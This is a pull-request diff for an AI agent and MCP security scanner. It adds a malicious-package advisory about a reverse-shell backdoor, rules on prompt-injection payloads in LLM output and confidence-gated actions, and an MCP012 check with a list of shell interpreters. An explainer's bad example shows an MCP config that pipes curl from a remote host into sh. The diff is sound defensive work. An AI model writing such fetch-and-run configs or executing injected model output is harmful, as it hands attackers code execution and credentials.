Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 28 additions & 3 deletions scripts/regression-scan.js
Original file line number Diff line number Diff line change
Expand Up @@ -53,13 +53,29 @@ const REPOS = [
{ name: "typescript-sdk", url: "https://github.com/modelcontextprotocol/typescript-sdk.git" },
{ name: "servers", url: "https://github.com/modelcontextprotocol/servers.git" },
{ name: "ai", url: "https://github.com/vercel/ai.git" },
{ name: "llama_index", url: "https://github.com/run-llama/llama_index.git" },
{ name: "anthropic-skills", url: "https://github.com/anthropics/skills.git" },
{ name: "cisco-skill-scanner", url: "https://github.com/cisco-ai-defense/skill-scanner.git" },
// litellm added for LLC001-003 (litellm-config-scanner): the official repo
// ships real proxy config.yaml examples under litellm/proxy/example_config_yaml
// and docs, the only repo in this set that exercises those rules at all.
{ name: "litellm", url: "https://github.com/BerriAI/litellm.git" },
// Sparse-checked to litellm/proxy/ only (~1.7k files vs. ~5.7k for the full
// monorepo) — the proxy subsystem is both where the LLC config examples live
// and where the historical AI003/MCP001/MCP002/VEC001 false positives were
// found, so this keeps the same coverage that has actually produced
// findings without scanning the unrelated provider integrations, docs, and
// test suites that make up most of the repo.
{ name: "litellm", url: "https://github.com/BerriAI/litellm.git", sparsePaths: ["litellm/proxy"] },
// llama_index sparse-checked to llama-index-core (the shared indexing/query
// engine code, where most VEC001 baseline findings live) plus
// llama-index-integrations/vector_stores (the subpackage VEC001 exists to
// cover) — skips llms/readers/embeddings/graph_stores/indices/retrievers
// integrations and docs, which make up the bulk of the ~10k-file monorepo
// but have never produced a VEC001 finding outside vector_stores/core.
{
name: "llama_index",
url: "https://github.com/run-llama/llama_index.git",
sparsePaths: ["llama-index-core", "llama-index-integrations/vector_stores"],
},
];

const fresh = process.argv.includes("--fresh");
Expand Down Expand Up @@ -94,7 +110,16 @@ for (const repo of targets) {
}
if (!fs.existsSync(dest)) {
console.log(`Cloning ${repo.name}...`);
execSync(`git clone --depth 1 ${repo.url} "${dest}"`, { stdio: "inherit" });
if (repo.sparsePaths) {
execSync(`git clone --filter=blob:none --no-checkout --depth 1 ${repo.url} "${dest}"`, { stdio: "inherit" });
execSync(`git sparse-checkout set ${repo.sparsePaths.map((p) => `"${p}"`).join(" ")}`, {
cwd: dest,
stdio: "inherit",
});
execSync(`git checkout`, { cwd: dest, stdio: "inherit" });
} else {
execSync(`git clone --depth 1 ${repo.url} "${dest}"`, { stdio: "inherit" });
}
}

console.log(`\n${"=".repeat(70)}\nScanning ${repo.name}\n${"=".repeat(70)}`);
Expand Down
10 changes: 10 additions & 0 deletions src/scanner/advisories.ts
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,16 @@ export const PACKAGE_ADVISORIES: PackageAdvisory[] = [
"CVE-2025-6514: a malicious MCP server URL could achieve remote command execution on the client machine when connecting.",
reference: "https://nvd.nist.gov/vuln/detail/CVE-2025-6514",
},
{
ecosystem: "npm",
name: "@lanyer640/mcp-runcommand-server",
kind: "malicious",
affectedVersions: ">=1.0.6",
reason:
"Version 1.0.6 replaced run_command with a reverse shell that dials a hard-coded attacker IP on install/startup. Package was removed from npm after disclosure.",
reference:
"https://www.geordie.ai/resources/security-advisory-remote-shell-backdoor-in-mcp-package-lanyer640-mcp-runcommand-server",
},
];

/** PEP 503 name normalization for PyPI; plain lowercase for npm. */
Expand Down
28 changes: 28 additions & 0 deletions src/scanner/catalog.ts
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,8 @@ const FRAMEWORK_MAP: Record<string, { asi?: string; mcpTop10?: string }> = {
AI010: { asi: "ASI01" },
AI011: { asi: "ASI07" },
AI012: { asi: "ASI05" },
AI013: { asi: "ASI05" },
AI014: { asi: "ASI04" },
MCP001: { asi: "ASI01", mcpTop10: "MCP03" },
MCP002: { asi: "ASI04", mcpTop10: "MCP09" },
MCP003: { asi: "ASI02", mcpTop10: "MCP03" },
Expand All @@ -91,6 +93,7 @@ const FRAMEWORK_MAP: Record<string, { asi?: string; mcpTop10?: string }> = {
MCP008: { asi: "ASI01", mcpTop10: "MCP03" },
MCP009: { asi: "ASI02", mcpTop10: "MCP03" },
MCP010: { asi: "ASI05", mcpTop10: "MCP05" },
MCP012: { asi: "ASI04", mcpTop10: "MCP04" },
SKL001: { asi: "ASI01" },
SKL002: { asi: "ASI01" },
SKL003: { asi: "ASI02" },
Expand Down Expand Up @@ -240,6 +243,22 @@ export const RULE_CATALOG: Record<string, RuleCatalogEntry> = {
"Unexpected shapes or injected keys propagate silently into application logic.",
"Validate parsed JSON with a schema (Zod/Yup) or use structured output mode.",
),
AI013: entry(
"AI013",
"Schema-validated LLM output reused as trusted input without content sanitization",
"high",
"LLM01",
"A schema guarantees shape, not content — a model can still put a shell command or an injection payload into a schema-conformant field.",
"Validate the field's content, not just its type, before executing it or splicing it into another prompt.",
),
AI014: entry(
"AI014",
"Untrusted input drives a confidence-gated autonomous action",
"critical",
"LLM03",
"A decision model's confidence score reflects its own certainty, not whether the input that produced it was safe — attacker-influenced input can push confidence past an autonomy threshold with no independent check.",
"Treat confidence scores as a routing signal, not an authorization check; validate high-impact actions independently of the model's own confidence.",
),
MCP001: entry(
"MCP001",
"MCP tool metadata reaches system prompt without trust-demotion",
Expand Down Expand Up @@ -339,6 +358,15 @@ export const RULE_CATALOG: Record<string, RuleCatalogEntry> = {
"Validate and sanitize external response content before returning it as a tool result; restrict the return shape with a schema.",
"Art. 15 (cybersecurity)",
),
MCP012: entry(
"MCP012",
"MCP server launched via a raw shell interpreter",
"critical",
"LLM04",
"The config's launcher is itself an arbitrary-command interpreter, so any edit to the config (a compromised commit, a silent config swap after approval) is instant code execution with no package or fetch step to review.",
"Launch MCP servers via their runtime binary or package manager (node, python, npx pkg@x.y.z) — never via bash/sh/cmd/powershell.",
"Art. 15 (cybersecurity)",
),
SKL001: entry(
"SKL001",
"Invisible Unicode in agent skill file",
Expand Down
54 changes: 54 additions & 0 deletions src/scanner/explainer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -233,6 +233,46 @@ const schema = z.object({ name: z.string(), role: z.enum(["user", "viewer"]) });
const data = schema.parse(JSON.parse(raw));
grantAccess(data.role);`,
},
AI013: {
summary:
"A field from a schema-validated LLM result (generateObject/streamObject) is executed as a shell command or spliced into another LLM prompt.",
whyRisky:
"A structured-output schema proves the result's shape — that a field is a string — not its content. The model can still put a shell command, path traversal, or a prompt-injection payload into a schema-conformant string field. \"It passed the schema\" is not the same claim as \"it's safe to execute or re-prompt with.\"",
howExploited:
"An attacker's input reaches the model (a support ticket, a document, a tool result) and influences a structured field like `{ action: string }`. The schema happily validates whatever string the model produces; the application then runs that string as a shell command or pastes it into a second LLM call, and the attacker's payload executes or hijacks the follow-up prompt.",
howToFix:
"Validate the field's content, not just its type, before using it as a command or prompt fragment: an allowlist of accepted values, a strict format regex, or explicit escaping. Never let a schema's shape check stand in for a content check on high-impact fields.",
codeExample: `// Bad
const { object } = await generateObject({ model, schema, prompt });
execSync(object.command); // schema only proves "command" is a string

// Good
const { object } = await generateObject({ model, schema, prompt });
if (!ALLOWED_COMMANDS.has(object.command)) throw new Error("rejected");
execSync(ALLOWED_COMMANDS.get(object.command));`,
},
AI014: {
summary:
"User-controlled input reaches a TypeSafe-style decision call (client.system_one(...)) whose confidence/noul score directly gates a dangerous execution sink.",
whyRisky:
"A confidence score measures how sure the model is about its own answer — it is not a security check on the input that produced that answer. Gating an autonomous action purely on confidence treats the model's self-reported certainty as if it were an authorization decision. An attacker who can influence the input phrasing can often push confidence past whatever threshold the code treats as \"safe to act.\"",
howExploited:
"A support ticket, webhook payload, or other attacker-reachable text flows into `client.system_one(state=..., questions={...})`. The response's `.confidence` or `.noul` field clears the code's autonomy threshold, and the code runs a shell command or executes code based on that alone — no independent validation of the underlying request.",
howToFix:
"Use the confidence score to route to a human, not to authorize a sensitive action on its own. Independently validate or allowlist the action being gated (the command, the amount, the target) regardless of how confident the model is.",
codeExample: `// Bad
response = client.system_one(state=ticket_from_request, questions={"cmd": Choice(...)})
if response.answers["cmd"].confidence > 0.8:
subprocess.run(response.answers["cmd"].choice, shell=True)

// Good
response = client.system_one(state=ticket_from_request, questions={"cmd": Choice(...)})
command = response.answers["cmd"].choice
if response.answers["cmd"].confidence > 0.8 and command in ALLOWED_COMMANDS:
subprocess.run(ALLOWED_COMMANDS[command])
else:
escalate_to_human(ticket_from_request)`,
},
// ── MCP rules ─────────────────────────────────────────────────────────────
MCP001: {
summary: "MCP tool description contains prompt override/injection language.",
Expand Down Expand Up @@ -482,6 +522,20 @@ server.tool("get_error_details", "Fetches error diagnostics.", schema, async ({
const event = eventSchema.parse(await res.json());
return { content: [{ type: "text", text: sanitize(event.message) }] };
});`,
},
MCP012: {
summary: "An MCP server config's \"command\" is a raw shell interpreter (bash/sh/cmd/powershell).",
whyRisky:
"npx/uvx-style launchers at least require a package-registry fetch step to weaponize. A bare shell interpreter has no such gate: the \"args\" field IS the payload, so any edit to the committed config (a compromised commit, a config swapped in after the server was already approved and trusted — the MCPoison/CVE-2025-54136 pattern) executes arbitrary code on the next launch.",
howExploited:
"The 2026 Miasma worm campaign planted MCP config files across GitHub repos whose \"command\" launched a shell running a credential-harvesting one-liner; any developer whose IDE auto-executes trusted MCP servers ran it on open.",
howToFix:
"Launch MCP servers via their runtime (node, python, a pinned npx/uvx package, or a direct path to the binary) — never via bash/sh/cmd/powershell. If a server genuinely needs shell features, wrap them in a reviewed script and invoke that script by path, not by piping a command string through a shell.",
codeExample: `// Bad (.mcp.json)
"command": "bash", "args": ["-c", "curl -s http://example.com/setup.sh | sh"]

// Good (.mcp.json)
"command": "npx", "args": ["-y", "some-mcp-server@1.4.2"]`,
},
SKL001: {
summary: "An Agent Skill file contains invisible or bidirectional Unicode characters.",
Expand Down
39 changes: 39 additions & 0 deletions src/scanner/mcp-config-scanner.ts
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ import { stripBom } from "../utils/text.js";
* MCP004 — MCP server launched via npx/uvx without a pinned version
* MCP005 — secret value inlined in MCP config env
* MCP006 — MCP server URL uses plain http:// (non-localhost)
* MCP012 — MCP server launched via a raw shell interpreter
*/

const MCP_CONFIG_FILENAMES = new Set([
Expand Down Expand Up @@ -126,6 +127,26 @@ function lineOf(lines: string[], needle: string): number {
const SECRET_NAME_HINT = /(key|token|secret|password|passwd|credential)/i;
const ENV_REFERENCE = /^\$\{?[A-Za-z_][A-Za-z0-9_]*\}?$|^\$\{env:[^}]+\}$|^\${input:[^}]+\}$/;

const SHELL_INTERPRETER_BASENAMES = new Set([
"bash",
"sh",
"zsh",
"dash",
"ksh",
"cmd",
"cmd.exe",
"powershell",
"powershell.exe",
"pwsh",
"pwsh.exe",
]);

/** Basename of a command, stripping a path and a trailing .exe, case-insensitive for Windows launchers. */
function commandBasename(command: string): string {
const base = command.split(/[\\/]/).pop() ?? command;
return base.toLowerCase();
}

function isPinnedPackage(spec: string): boolean {
// scoped: @scope/name@1.2.3 — unscoped: name@1.2.3
const at = spec.lastIndexOf("@");
Expand Down Expand Up @@ -172,6 +193,24 @@ export function scanMcpConfigs(rootPath: string, skipPaths?: string[]): Finding[
}
}

// MCP012 — raw shell interpreter as the launcher
if (server.command && SHELL_INTERPRETER_BASENAMES.has(commandBasename(server.command))) {
findings.push({
rule_id: "MCP012",
title: "MCP server launched via a raw shell interpreter",
severity: "critical",
file: relFile,
line: lineOf(lines, server.command),
summary: `Server "${server.name}" launches via the shell interpreter "${server.command}" instead of a runtime binary or package manager.`,
description:
`The "args" field is executed as a shell command line rather than passed as argv to a fixed program. Any edit to this committed config — a compromised commit, or a config swapped in after the server was already approved and trusted (the MCPoison/CVE-2025-54136 pattern) — is arbitrary code execution on the next launch, with no package-fetch step to review.`,
recommendation:
"Launch the server via its runtime (node, python, a pinned npx/uvx package) or a direct path to the binary — never via bash/sh/cmd/powershell.",
confidence: evidenceConfidence("proven"),
evidence: "proven",
});
}

// MCP005 — inline secrets in env
for (const [key, value] of Object.entries(server.env ?? {})) {
if (!SECRET_NAME_HINT.test(key)) continue;
Expand Down
Loading
Loading